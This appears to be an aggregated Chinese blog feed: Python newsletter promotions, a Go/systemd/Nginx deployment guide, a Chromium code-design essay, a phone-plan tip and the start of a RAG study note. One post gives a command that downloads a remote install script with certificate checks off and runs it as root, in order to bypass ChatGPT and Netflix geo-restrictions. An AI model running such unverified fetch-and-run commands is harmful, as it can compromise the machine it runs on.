周刊的转变和以上的留言都发生在最近两个月,现在想想,感觉时间就像突然变慢了一样,两个月前的对话还历历在目。
如今,第 2 季周刊如期交付了,保质保量,下一季再接再厉。
最后说一下周刊的合集以及电子书吧。前几天,我重制了第 1 季周刊合集,发布了 EPUB/PDF 版本以及 Markdown 源文件,第 2 季也会这样做。
但是,为了照顾付费读者的权益,这一季的电子书暂时不会公开。请希望获取免费版本的读者耐心等待,最长不超过 1 年时间。
如果你喜欢本周刊,欢迎付费订阅支持!
付费订阅入口,目前只支持三种方式:
1、小报童 (需要使用微信登录,可微信和邮箱接收更新)
2、爱发电 (支持邮箱登录)
3、FlowUs (支持手机号、邮箱和微信登录)
PS. 2024.07.24 前首次订阅我的小报童专栏,请先领取一张优惠券 ,可享 8 折优惠。

July 14, 2024 12:00 AM

July 13, 2024

pythoncat

Python 潮流周刊#60:Python 的包管理工具真是多啊

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 13 篇文章,13 个开源项目,全文 2300 字。
重要提醒:
1、本专栏的邀请返利已提升到 50%,当有人通过你分享的海报或者邀请链接,购买了专栏,那么你将获得 50% 的返利。
2、为祝周刊第 2 季完结,新订阅读者可领取 限时 8 折优惠券 ,数量有限,先到先得哈~
以下是本期摘要:
① Python 的包管理工具真是多啊
② 用 Flask 和 HTMX 开发一个动态博客(第 1 篇)
③ PySkyWiFi:利用航空公司漏洞,实现免费上网
④ 让 Python 失去随机性
⑤ ChatGPT 沙盒中 Linux 系统的秘密
⑥ 我用 AI 自动将帽子戴到窗外的纽约人头上
⑦ pip 与 uv:Streamlit Cloud 如何将程序加载时间缩短 55%?
⑧ 讲座:CPython JIT (Chipy 2024)幻灯片和参考链接
⑨ Python 包命名的最佳实践
⑩ 系统调用的对决:Python 与 Ruby 的差异
⑪ 利用 GitHub Action 做爬虫,并将数据存在 SQLite 数据库中
⑫ 我从 35 年软件开发生涯中得到的 12 条经验教训
⑬ 写给 15 年前的自己的 10 条编程建议
① dnstwist:检测域名的钓鱼攻击、拼写错误抢注和品牌冒充
② posting:位于终端里的现代 API 客户端
③ filesystem_spec:Python 文件系统应遵守的规范
④ babel:Python 国际化库
⑤ fastapi-docker-temp:基于 FastAPI 的最小化 Docker 项目模版
⑥ crawlee-python:Python Web 抓取和浏览器自动化库
⑦ django-sql-explorer:通过 SQL 查询,在整个公司内轻松共享数据
⑧ pyxel:Python 的像素风游戏开发引擎
⑨ 0xtools:分析 Linux 系统上应用的性能
⑩ Secator:渗透测试人员的瑞士军刀
⑪ rss2newsletter:将 RSS/Atom feed 转换为邮件通讯
⑫ vectorlite:SQLite 的快速可调节的向量搜索扩展
⑬ LivePortrait:让人像肖像栩栩如生

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 60 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该文开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 60 期将在第 110 期时免费,敬请留意。

July 13, 2024 12:00 AM

July 11, 2024

howiehz

两篇文章分享:别像弱智一样提问 & 提问的智慧

别像弱智一样提问 原项目地址:tangx/Stop-Ask-Questions-The-Stupid-Ways: Stop-To-Ask-Questions-The-Stupid-Ways (github.com) 在线阅读:Stop-Ask-Questions-The-Stupid-Ways/RE

by HowieHz at July 11, 2024 02:16 PM

July 10, 2024

howiehz

论下落式音游\定轨音游中的优质粪铺(文末附铺面推荐)

注:本文着重讨论 4K 下落式音游\定轨 4K 音游。 tips:warn “粪铺”概念重定义警告 本文讨论的粪铺为多人游戏中游玩后会被锐评为这是粪铺的铺面 tips:info 有人说粪铺分三派: 1. 高难诡谲键形法 2. 压星诡谲键形法 3. 观赏铺 高难诡谲键形法:搭配一段真情流露的神经小文章

by HowieHz at July 10, 2024 05:14 PM

yangpeiyuan

使用systemd部署golang web程序

systemd 配置

  1. 编译您的 Golang 程序。假设您的程序名为delicious
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o delicious
  1. 将本地编译好的 myapp 二进制文件、配置文件和静态文件等上传到服务器的/var/www/delicious.yangpeiyuan.com目录下。目录结构如下:
.
|-- config
|   `-- config.toml
|-- delicious
|-- static
|   |-- css
|   |   |-- bulma.css
|   |   `-- style.css
|   |-- favicon.ico
|   `-- imgs
|       |-- apple-touch-icon.png
|       |-- favicon-32x32.png
|       `-- idev.png
`-- templates
    |-- add.html
    |-- close.html
    |-- detail.html
    |-- footer.html
    |-- head.html
    |-- index.html
    |-- login.html
    `-- partial.html
  1. /usr/lib/systemd/system/ 创建一个新的 systemd 服务文件:
sudo vim /usr/lib/systemd/system/delicious.service

在打开的编辑器中,添加以下内容:

[Unit]
Description=My Golang Web Application
After=network.target

[Service]
ExecStart=/var/www/delicious.yangpeiyuan.com/delicious
Restart=always
User=nobody
Group=nogroup
Environment="GO_ENV=production"
WorkingDirectory=/var/www/delicious.yangpeiyuan.com

[Install]
WantedBy=multi-user.target

对于 Golang 程序的 systemd 服务配置,User 和 Group 通常设置如下: 如果是 web 应用或需要网络访问的服务:

Group=www-data

如果是系统级服务或后台程序:

Group=nogroup

如果是特定用户运行的应用:

User=<specific_username>
Group=<specific_groupname>

如果需要 root 权限:

User=root
Group=root

这里需要注意Environment="GO_ENV=production" ,指在 systemd 服务文件设置程序所需的环境变量,以配合 gin 框架的 release 模式

	//设置 Gin 为发布模式
	if models.GetEnvironment() == "production" {
		gin.SetMode(gin.ReleaseMode)
	} else {
		fmt.Println(models.GetEnvironment())
	}

	func GetEnvironment() string {
	env := os.Getenv("GO_ENV")
	if env == "" {
		env = "development"
	}
	return env

}
  1. 依次执行下面的命令
//重新加载systemd
sudo systemctl daemon-reload

//启动服务
sudo systemctl start delicious

//启用服务自动启动
sudo systemctl enable delicious

//检查服务状态
sudo systemctl status delicious

//查看日志 (可选)
sudo journalctl -u delicious

//重启服务
sudo systemctl restart delicious

此时就可以打开浏览器输入http://服务器公网ip:端口查看应用程序的展示效果了。

  1. 如果报错很可能是可执行二进制文件的权限问题。(可选)
//增加二进制文件,可执行权限
sudo chmod +x delicious
  1. 检查日志:重启服务后,立即检查日志以查看是否有新的错误信息:
sudo journalctl -u memory.service -n 50 --no-pager

Nginx 配置

编辑/etc/nginx/sites-available/yangpeiyuan.com.conf

server {
    listen 80;
    server_name delicious.yangpeiyuan.com;

    location / {
        proxy_pass http://localhost:9090;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

server {
    listen 80;
    server_name memory.yangpeiyuan.com;

    location / {
        proxy_pass http://localhost:9091;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

server {
    listen 80;
    server_name yangpeiyuan.com www.yangpeiyuan.com;

    location / {
           root /var/www/yangpeiyuan.com;
           index index.html index.htm;
           try_files $uri $uri/ =404;
    }
}
//启用 Nginx 配置。创建一个符号链接到 sites-enabled 目录
sudo ln -s /etc/nginx/sites-available/your_domain /etc/nginx/sites-enabled/
//检查配置文件语法
nginx -t

//重启nginx
sudo systemctl reload nginx

在您的域名注册商的 DNS 设置中,添加 A 记录,将您的域名指向您服务器的 IP 地址。

进阶:使用 GitHub Action

使用 GitHub Action 自动编译和上传到服务器。

name: Build and Deploy

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Go
        uses: actions/setup-go@v4
        with:
          go-version: 1.22.4

      - name: Build
        run: go build -v ./...

      - name: Build binary
        run: GOOS=linux GOARCH=amd64 go build -o delicious

      - name: Prepare static files
        run: |
          mkdir -p deploy/config
          cp -r static/ deploy/static
          cp -r templates/ deploy/templates
          cp config/config.toml deploy/config
          cp delicious deploy/

      - name: Deploy to VPS
        env:
          PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }}
          HOST: ${{ secrets.SERVER_HOST }}
          USER: ${{ secrets.SERVER_USER }}
        run: |
          echo "$PRIVATE_KEY" > private_key && chmod 600 private_key
          scp -i private_key -o StrictHostKeyChecking=no -r deploy/* ${USER}@${HOST}:/var/www/deploy/
          ssh -i private_key -o StrictHostKeyChecking=no ${USER}@${HOST} '
            sudo rm -rf /var/www/delicious.yangpeiyuan.com/*
            sudo mv /var/www/deploy/delicious /var/www/delicious.yangpeiyuan.com/
            sudo mv /var/www/deploy/* /var/www/delicious.yangpeiyuan.com/
            sudo chown -R www-data:www-data /var/www/delicious.yangpeiyuan.com/static
            sudo chmod -R 775 /var/www/delicious.yangpeiyuan.com/static
            sudo systemctl restart delicious.service
          '

参考

ruanyifeng 的 Systemd 入门教程:命令篇

by yangpeiyuan (i@yangpeiyuan.com) at July 10, 2024 02:40 PM

pythoncat

读者福利:超值优惠券、高额返利和精美电子书

Python潮流周刊从 2023.05.13 连载至今,本周即将发布第 60 期,这意味着我们又要达成一个小小的里程碑啦!
每周坚持做分享,周复一周,这对自己的精力和意志是一项不小的挑战。于是,为了让自己获得一些仪式感,我给自己定了一个较为合理的时间目标,就是每 30 期周刊作为一季。
划分出“每一季”,并不是为了像电视剧一样找时间停播休息,而是为了让自己能做一些阶段性的盘点,给读者们分享一些数据、故事和感想,给自己加油鼓气。
这篇文章并不是周刊第 2 季的盘点,而是一个预告,以及发放一些福利。

🎁第一重福利

小报童专栏的限时优惠券,错过就要再等 30 期啦(约 210 天)!
新订阅者的 8 折优惠券(价值 25.6 元): 点击领取
老读者续订的 7 折优惠券(价值 38 元),请在最近几期周刊开头领取。

🎁第二重福利

Python潮流周刊专栏的邀请返利已提升到 50%,当有人通过你分享的海报或者邀请链接,购买了专栏,那么你将获得 50% 的返利(价值 64 元)。

🎁第三重福利

第 1 季周刊精华内容出了精美电子书,现在给 Python猫 公众号发送“W30”,可获取免费下载链接。内容包含 Markdown、PDF 和 EPUB 三种版本,总字数超过 6.5 万字。
在第1季完结时,我曾将 30 期的精华内容整理成一篇合集文章,也转换成了一本 PDF 电子书。但是当时把周刊内丰富的图片内容都删除了,排版上也非常粗陋。
这次我不仅将图片都一一加回来了,而且增加了 EPUB 版本,还附上了 Markdown 源文件,应该能提升大家的阅读体验了吧?
福利介绍完了,接下来再分享几张图吧。
除了重新整理和排版第 1 季周刊的合集,我还对它做了几个维度的统计分析:
(1)第1季周刊每一期内容统计
可以看出前面几期的数据波动较大,但后来逐渐趋于稳定。
(2)第1季周刊每一类内容统计
可以看出我们是以文章和项目为主,而且数量非常之多(约占 90%)。
(3)第1季周刊的词云图
以上的电子书、图表和词云统计图,其实都是为了做第 2 季内容盘点而顺带完成的,一方面是为了先练练手,另一方面则是将过去有价值的内容再装点一番,让它不至于那么快消失于互联网中。
最后,预告一下,等第 2 季完结后,我们还会发布第 2 季的精选电子书,敬请留意哦。(专栏付费订阅读者的福利,大家可以提前加猫哥微信为好友,到时领取)

July 10, 2024 12:00 AM

July 08, 2024

sinovale

通过WARP解锁chatgpt和netflix

chatgpt和netflix都对IP地址有限制,一些vps即使搭了梯子也不一定能访问。

现在可以通过WARP分流方式,以cloudflare提供的节点IP作为出口来解锁。

1,有一台vps并且能普通翻墙

2,安装脚本

wget -P /root -N –no-check-certificate “https://raw.githubusercontent.com/mack-a/v2ray-agent/master/install.sh” && chmod 700 /root/install.sh && /root/install.sh

3,安装分流工具

用vasma打开工具

选11分流工具

选1WARP分流(IPV4)

选2添加域名,多个域名用逗号隔开,比如openai.com,netflix.com

完成

by sinovale at July 08, 2024 01:24 AM

July 06, 2024

ihewro

从 base::Value 接口变更看 chromium 代码设计

引子

JSON 中有多种类型,比如数字(int/double/uint)/bool/string/数组/对象,C++ 中解析 json 开源库有 nlohmann::json。如果实现一套 json 解析能力,其中关键的一个部分就是如何定义一个类来表示 json,同时提供各种接口来修改 json 中各种类型的值。

chromium 中的 base 库中 base::Value 就是这样的一个实现。非常有趣的是这个类 chromium 一直以来都不断的进行设计的调整,这一定程度代表 chromium 对代码设计的不同思考。

nlohmann 2015年发布的第一个版本,而 chromium 在 1.0 版本(2008 年)就已经实现了 base::Value。

下面会尝试根据 chromium 不同版本对这个类的实现分析 chromium 的代码设计思路。

版本迭代

第一个版本

先思考一下,通过 base::Value 表示多种类型,最直觉的实现是什么?是不是使用 c++多态,搞一个基类,然后不同类型基于这个基类派生一个新的类表示新的类型呢?这样基类指针就可以表示 JSON 中所有类型啦!

恭喜你,chromium 也是这么想的 🤨。这个版本 base/values.cc 文件仅仅只有 580 行,来简化一下代码如下:

class Value {
public:
  // 空实现
  virtual bool GetAsBoolean(bool* out_value) const;
  virtual bool GetAsInteger(int* out_value) const;
  virtual bool GetAsReal(double* out_value) const;
  virtual bool GetAsString(std::wstring* out_value) const;
  
private:
  Type type_;
}

// 基础数据类型
class FundamentalValue : public Value {
 public:
  // Subclassed methods
  virtual bool GetAsBoolean(bool* out_value) const;
  virtual bool GetAsInteger(int* out_value) const;
  virtual bool GetAsReal(double* out_value) const;
  virtual Value* DeepCopy() const;
  virtual bool Equals(const Value* other) const;

 private:
  union {
    bool boolean_value_;
    int integer_value_;
    double real_value_;
  };
};


// 字符串
class StringValue : public Value {
 public:
  // Subclassed methods
  bool GetAsString(std::wstring* out_value) const {
      if (out_value)
        *out_value = value_;
      return true;
  }
 private:
  std::wstring value_;
};


// 对象
typedef std::map<std::wstring, Value*> ValueMap;
class DictionaryValue: public Value {
public:
  bool GetBoolean(const std::wstring& path, bool* out_value) const;
  bool GetInteger(const std::wstring& path, int* out_value) const;
  bool GetReal(const std::wstring& path, double* out_value) const;
  bool GetString(const std::wstring& path, std::wstring* out_value) const;
  bool GetBinary(const std::wstring& path, BinaryValue** out_value) const;
  bool GetDictionary(const std::wstring& path,
                     DictionaryValue** out_value) const;
  bool GetList(const std::wstring& path, ListValue** out_value) const;
  
private:
  ValueMap dictionary_;
};

// 数组
typedef std::vector<Value*> ValueVector;
class ListValue: public Value{
public:
  bool Get(size_t index, Value** out_value) const;
  bool GetDictionary(size_t index, DictionaryValue** out_value) const{
      Value* value;
      bool result = Get(index, &value);
      if (!result || !value->IsType(TYPE_DICTIONARY))
        return false;
  
      if (out_value)
        *out_value = static_cast<DictionaryValue*>(value);
  }

    private:
    ValueVector list_;
};

这个代码设计比较简单,但有一些问题:

  1. base::Value 提供的虚接口都是空实现,base::Value 本身基本上就是一个空壳子,并且派生类也没有 override
  2. ValueVector / ValueMap 都是直接用裸指针存储的,生命周期非常不明确
对于 List/Dict 设计蕴含着一些“递归”的思想,比如如果 Value 内容是 Dict,则它内部存储的内容是 std::map<std::string, Value>,而 Value 本身也可以表示多种类型。

第二个版本

在 2017 年,chromium 开始对 base::Value 进行重构

简化后的代码如下,有以下几点变化:

  1. 不再使用派生子类的方式,而是 base::Value 中直接存储 6 种类型的数据,然后用一个 Type 来标识当前是哪种类 1 型。
  2. 基于第一点,base::Value 上直接实现了获取基础类型的接口以及 Dict/List 相关接口

    1. Dict 接口只保留了一个 FindKey 和 FindPath,不再提供之前的 GetInteger(实际上应该叫 FindInterger 更准确)这种根据 key 直接查询特定数据类型的值
    2. List 接口也只保留了 GetList 接口,移除了获取迭代器以及通过 Index 方式获取元素值的接口
  3. 废弃了之前 GetAsXXX 的接口风格,之前是通过参数 out 指针输出,在这次全改成直接返回值返回了,减少指针带来的风险,接口使用起来也更简单一些
注意,这个版本里没有GetDict的接口,base::Value本身就提供了Dict对应的查询接口,如果base::Value上不提供Find 接口,那外部需要获取到map后手动去查询,有点麻烦。但是对于List,却提供了GetList 接口,就有点别扭
class Value {
public:
  using BlobStorage = std::vector<char>;
  using DictStorage = base::flat_map<std::string, std::unique_ptr<Value>>;
  using ListStorage = std::vector<Value>;
  // 简单类型接口
  bool GetBool() const {
      if (is_bool()){
          return bool_value_;
      }
  }
  int GetInt() const;
  double GetDouble() const;  // Implicitly converts from int if necessary.
  const std::string& GetString() const;
  const BlobStorage& GetBlob() const;
  
  // List 接口
  ListStorage& GetList() const;
  
  // Dict
  dict_iterator DictEnd();
  dict_iterator_proxy DictItems();
  dict_iterator FindKey(StringPiece key);

private:
    enum class Type{
        kBool,
        kInt,
        kBlob,
        kString,
        kDict,
        kList
    };
     union {
        bool bool_value_;
        int int_value_;
        double double_value_;
        ManualConstructor<std::string> string_value_;
        ManualConstructor<BlobStorage> binary_value_;
        ManualConstructor<DictStorage> dict_;
        ManualConstructor<ListStorage> list_;
      };
};

这个版本核心变动,一是解决裸指针,二是淘汰了之前通过多态派生子类方式实现多种类型,让 Value 本身直接来表示多种类型。

  1. 因为废弃了 DictionaryValue / ListValue / FundamentalValue,base::Value 集所有功能于一身,但是 List/Dict 的接口只保留了基础接口,如果某个 key 已知是特定的数据类型,则只能先根据 key 拿到 Value,然后外部再去判断 Value 的类型,外部使用起来会比较麻烦
  2. 对外直接暴露了 ListStorage&/DictStorage&(base::flat_map<std::string, base::Value&>std::vector<base::Value&>&),外部可以直接获取该类型增删元素,后续重构如果更换storage类型则成本比较高
Note:chromium 在 2020 年使用 variant 替代了 union,这个对整体设计没有影响,只不过代码上会更优雅一点点

第三个版本

第二个版本中第一个问题,可能chromium最初就是这么设计的, 不想提供冗余的接口。但事实上是用起来太麻烦了。有些时候代码设计的好坏的评价之一就是业务方使用起来方不方便。

chromium 2019-01-08 的提交里提供一些扁平的接口:

  • 在 base::Value 上加一些 FindXXXKey 的 Dict 操作接口,以便外部不需要先通过 key 获取到 value,然后再去判断 value 类型了
class Value {
public:
  // the value is not found or doesn't have the type specified in the
  // function's name.
  base::Optional<bool> FindBoolKey(StringPiece key) const;
  base::Optional<int> FindIntKey(StringPiece key) const;
  base::Optional<double> FindDoubleKey(StringPiece key) const;

  // |FindStringKey| returns |nullptr| if value is not found or not a string.
  const std::string* FindStringKey(StringPiece key) const;
}

后续又添加了List等扁平接口:

class Value {
public:
  void Append(bool value);
  void Append(int value);
  void Append(double value);

  void Append(const char* value);
  void Append(StringPiece value);
  void Append(std::string&& value);
  void Append(const char16_t* value);
}

至此随着迭代,越来越多的Dict / List的接口被复制到了 base::Value 上,代码可读性和维护的难度变大了。

第四个版本

第一个版本中,chromium 通过继承来派生多个功能,第二个版本中又移除了继承,将所有功能集一身,但是会发现接口繁杂的问题。这些问题 chromium 在 2022 年的 MR 中指出现有设计的几个问题:

  1. 代码膨胀:直接使用底层的容器类型(如base::flat_map<std::string, base::Value>std::vector<base::Value>)导致了有大量重复的代码。
  2. 类型安全检查问题:外部使用的是base::Value单个类型,但是提供了“扁平便利”接口(比如FindInt)需要外部先确保是dict类型才能使用,这缺少了类型安全检查。
  3. 封装问题:暴露底层容器类型使未来的实现细节重构变得更加困难。(GetList直接返回了std::vector<base::Value> ,如果未来List内部数据类型变化,则所有使用依赖该接口的地方都需要修改),这不符合设计原则中的“开闭原则”。

2022 年,chromium 在此对 base::Value 进行重构。其核心是将 Dict/List 内容以及接口重新封装到单独的类中去。

这一幕看似眼熟,但实际和第一版本设计思路并不完全一致。

简化后的代码如下,这个代码非常清晰,对后续的扩展也更方便了:

class Value {
public:
  // 基础类型接口
  absl::optional<bool> GetIfBool() const;
  absl::optional<int> GetIfInt() const;
  // Returns a non-null value for both `Value::Type::DOUBLE` and
  // `Value::Type::INT`, converting the latter to a double.
  absl::optional<double> GetIfDouble() const;
  const std::string* GetIfString() const;
  std::string* GetIfString();
  const BlobStorage* GetIfBlob() const;
  // Dict接口
  Dict* GetIfDict();
  // List接口
  List* GetIfList();
  
  // Dict
  class Dict {
   public:
    absl::optional<bool> FindBool(StringPiece key) const;
    absl::optional<int> FindInt(StringPiece key) const;
    absl::optional<double> FindDouble(StringPiece key) const;
    const std::string* FindString(StringPiece key) const;
    const BlobStorage* FindBlob(StringPiece key) const;
    Dict* FindDict(StringPiece key);
    List* FindList(StringPiece key);
  
    private:
     flat_map<std::string, std::unique_ptr<Value>> storage_;
  };
  
  // List
  class List{
    public:
     iterator begin();
     iterator end();
   
    private:
     std::vector<Value> storage_;
  };
private:
  absl::variant<absl::monostate,
                bool,
                int,
                DoubleStorage,
                std::string,
                BlobStorage,
                Dict,
                List>
      data_;

};

base::Value 的第一版本设计里,基类 base::Value 只是一个空壳子,使用了继承方式派生了不同类型,不符合设计原则中的“里氏替换原则”,即子类之间是可以互相替换而不影响主要功能,显然第一版子类和父亲的接口完全都不一样了。

小结

base::Value 的重构过程也表示在某些场景下,组合比继承更适合。 在《重构》书中,也提到了“以委托(组合)取代子类”的重构手法。

继承不是什么坏的设计,它能让子类具体父类不同的逻辑,但是它可能会被滥用。其中“里氏替换原则”是一个很好的原则帮我们判断当前的继承是否是合适的。实际开发继承可能会遇到两个问题,一是父类的虚函数改动,子类无法感知,可能会导致意外结果,另一方面是子类的权限很大, 很容易随着迭代逐渐和父类差异过大,导致父类无法约束子类的行为(这一点可以通过约束可重载函数的范围)。

如果你有任何不同的看法,欢迎在评论区一起讨论 ☕️

by 友人C at July 06, 2024 08:38 AM

pythoncat

Python 潮流周刊#59:Polars 1.0 发布了,PyCon US 2024 演讲视频也发布了

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,2 则视频,全文 2200 字。
重要提醒:
1、本专栏的邀请返利已提升到 50%,当有人通过你分享的海报或者邀请链接,购买了专栏,那么你将获得 50% 的返利。
2、为预祝周刊第 2 季完结,新订阅读者可领取 限时 8 折优惠券 ,数量有限,先到先得哈~
以下是本期摘要:
① Polars 1.0 版本发布了!今后的计划?
② Python 努力应对 Apple App Store 的拒绝
③ 从 PDF 中提取数据的挑战,实用的 RAG 应用
④ Python 中实现阶乘函数的十种方法
⑤ Python 开发的最佳实践
⑥ MicroPython 入门指南:(一)环境配置、Blink、部署
⑦ Python 使用 .NET 开发的类库来提高你的程序执行效率
⑧ 我的 Python 代码是一种神经网络
⑨ Python 稀疏数组生态系统概述
⑩ 犯罪分子冒充“乐于助人”的 Stack Overflow 用户推送恶意软件
⑪ 使用 Prettier 对 Django 或 Jinja 模板作格式化
⑫ 保持修改同步的两种方法:派生与测试
① graphrag:基于图形的模块化 RAG 系统
② puepy:基于 PyScript 的 Python+Webassembly 前端框架
③ psqlpy:Rust 写的异步 Python PostgreSQL 驱动
④ pretzelai:Jupyter Notebook 们的现代替代品
⑤ meet-libai: 构建李白知识图谱,训练 AI 李白智能体
⑥ flpc:Rust 开发的 Python 正则表达式库
⑦ Taiwan-LLM:台湾繁体中文 LLM
⑧ ttkbootstrap:tkinter 的增强主题,受 Bootstrap 启发的现代平面风格
⑨ bunkerweb:开源的 Web 应用防火墙(WAF)
⑩ AI-Math-Notes:交互式的 AI 数学黑板
⑪ cookiecutter-django:快速启动生产就绪的 Django 项目
⑫ Linly-Talker:数字化身系统,结合大语言模型与视觉模型
① PyCon US 2024 演讲视频列表
② PyCon Sweden 2024 演讲视频

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 59 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 59 期将在第 109 期时免费,敬请留意。

July 06, 2024 12:00 AM

July 04, 2024

howiehz

为什么选择无纸化阅读?为什么买墨水屏电子书?为什么 Kindle“失败”了?

无纸化阅读的优势、墨水屏电子书的购买理由以及 Kindle“失败”的原因 一句话 “购买电子书阅读器”这个行为没法让一个没有阅读习惯的人立即养成阅读习惯。 前言 前几天朋友给我分享了个视频。这个视频里说 Kindle 的“失败”是因为它的专一属性。当然我立马能举出反例,比如游戏机。 说白了当初火起来

by HowieHz at July 04, 2024 07:57 AM

June 30, 2024

yangpeiyuan

联通浙江畅游卡¥29 135G

一直在用的是 ¥36/月的联通蚂蚁宝卡。今年开始发现每个月的 6G 流量都会超标,探索后发现是免流的范围减小了。以前我一般每个月是 6G 套餐+6G 左右的免流=每月大约 12G 左右的流量,刚刚够用。现在免流只有 1G。跑去小红书上研究了一番就发现了这个《浙江畅游卡》。

  • ¥29/月
  • 135G/月
  • 合约 2 年
  • 流量组合形式是:套餐内 5G/月+130G/月 两年的流量包 20240729union135g

办理攻略:

  • 首先微信关注“中国联通微厅”,框输入转人工。然后说“29 元 畅游卡套餐”(直接准确说出套餐名字)
  • 一般客服会推脱一下说你不符合要求,你有绑定副卡!是特邀用户才有什么的!!通通不要信。
  • 回复他“GJ 规定,只要市面上有的套餐,必须给办理”或者搬出说会去 GXB 反馈投诉什么的。然后她们会说专人联系,一般当天就会有客服联系(我是当天下午没接到)第二天给我回复的。回复直接给我办理。
  • 客服打电话和我说暂时是 29 元一个月 后续过了两年就不是 29 元了。管他呢,先用 2 年再说,到时候肯定有别的便宜套餐,再换过去。
  • 有副卡或绑定了短号码的,需要解绑。

听说其他地方也有这种套餐,好像就是名字不一样!大家可以搜搜看,一定要准确说出名字的,不然你问他,她就说没有。

实际使用了 1 个月,发现超大流量是赚个噱头,每月我实际使用的还是和以前一样,12G 左右。😋

by yangpeiyuan (i@yangpeiyuan.com) at June 30, 2024 02:40 PM

June 29, 2024

aneasystone

高级 RAG 技术学习笔记

随着大模型技术的发展,基于大模型开发的应用也越来越多,比如类似 ChatGPT 的对话服务,将搜索引擎与大模型相结合的问答服务,等等。但在这些应用中,我们也面临着大量的问题,包括缺乏领域知识、无法获取实时信息以及生成虚假内容。检索增强生成(Retrieval-Augmented Generation,简称 RAG) 通过引入外部信息源,为这些问题提供了一种有效的缓解策略。

RAG 在生成式人工智能应用中被广泛采用,演变成了一门类似 提示工程 的学科,可以说它是 2023 年最受欢迎的基于大模型的开发架构。它的流行甚至推动了向量搜索领域的炒作,像 ChromaWeavaitePinecone 这样的向量数据库初创公司都因此火了一把。

RAG 之所以如此流行,原因有几个:

  1. 它利用了大模型的上下文学习的能力(In-Context Learning,ICL),增强了上下文理解,有助于减少幻觉;
  2. 它提供了一种非梯度方法(Non-Gradient Approach,所谓梯度方法就是微调或训练等方法),允许自定义 Prompt 而无需对模型进行微调,这种方法也能更好地适应不同的模型;
  3. 它提供了很好的可观察性和可检查性,可以对用户输入、检索的上下文和模型生成的回复进行比对,而微调过程是不透明的;
  4. 它更容易维护,对知识库持续更新的过程比较简单,而不需要专业人员;

我们在之前的笔记中已经学习过不少和 RAG 相关的内容,比如在 使用 Embedding 技术打造本地知识库助手 这篇笔记中,我们学习了如何打造一个针对本地文档的问答系统,在 基于结构化数据的文档问答 这篇笔记中,我们继续探索了如何针对结构化的数据进行问答。不过这些内容都比较简单,只是对 RAG 原理的入门级讲解,本篇博客将对 RAG 的高级技巧进行深入学习,并结合 LangChain 和 LlamaIndex 对各个技巧一一进行实战。

RAG 概述

RAG 的本质是搜索 + LLM 提示(Search + LLM prompting),根据用户的问题,通过一定的搜索算法找到相关的信息,将其注入到大模型的提示中,然后令大模型基于上下文来回答用户的问题。其工作流程如下图所示:

rag-overview.png

在这里,用户向大模型提出了一个近期新闻相关的问题,由于大模型依赖于预训练数据,无法提供最新的信息。RAG 通过从外部数据库中获取和整合知识来弥补这一信息差,它收集与用户查询相关的新闻文章,这些文章与原始问题结合起来,形成一个全面的提示,使大模型能够生成一个见解丰富的答案。

图中展示了 RAG 框架的四个基本组成部分:

  • 输入(Input):即用户输入的问题,如果不使用 RAG,问题直接由大模型回答;
  • 索引(Indexing):系统首先将相关的文档切分成段落,计算每个段落的 Embedding 向量并保存到向量库中;在进行查询时,用户问题也会以相似的方式计算 Embedding 向量;
  • 检索(Retrieval):从向量库中找到和用户问题最相关的段落;
  • 生成(Generation):将找到的文档段落与原始问题合并,作为大模型的上下文,令大模型生成回复,从而回答用户的问题;

RAG 范式的演变和发展

RAG 近年来发展迅速,随着对 RAG 的研究不断深入,各种 RAG 技术被开发出来。Yunfan Gao 等人在 Retrieval-Augmented Generation for Large Language Models: A Survey 这篇论文中详细考察了 RAG 范式的演变和发展,将其分成三个阶段:朴素 RAG、高级 RAG 和模块化 RAG:

rag-paradigms.png

其中朴素 RAG 最早出现,在 ChatGPT 爆火后不久就开始受到关注,它包括索引、检索和生成三部分,参考上一节所介绍的基本流程。朴素 RAG 简单易懂,但是也面临着不少问题:

  • 首先,在检索阶段,精确性和召回率往往是一个难题,既要避免选择无关片段,又要避免错过关键信息;
  • 其次,如何将检索到的信息整合在一起也是一个挑战,面对复杂问题,单个检索可能不足以获取足够的上下文信息;对检索的结果,我们要确定段落的重要性和相关性,对段落进行排序,并对冗余段落进行处理;
  • 最后,在生成回复时,模型可能会面临幻觉问题,即产生与检索到的上下文不符的内容;此外,模型可能会过度依赖上下文信息,导致只生成检索到的内容,而缺乏自己的见解;同时我们又要尽量避免模型输出不相关、有毒或有偏见的信息。

为了解决朴素 RAG 遗留的问题,高级 RAG 引入了一些改进措施,增加了 预检索过程(Pre-Retrieval Process)后检索过程(Post-Retrieval Process) 两个阶段,提高检索质量:

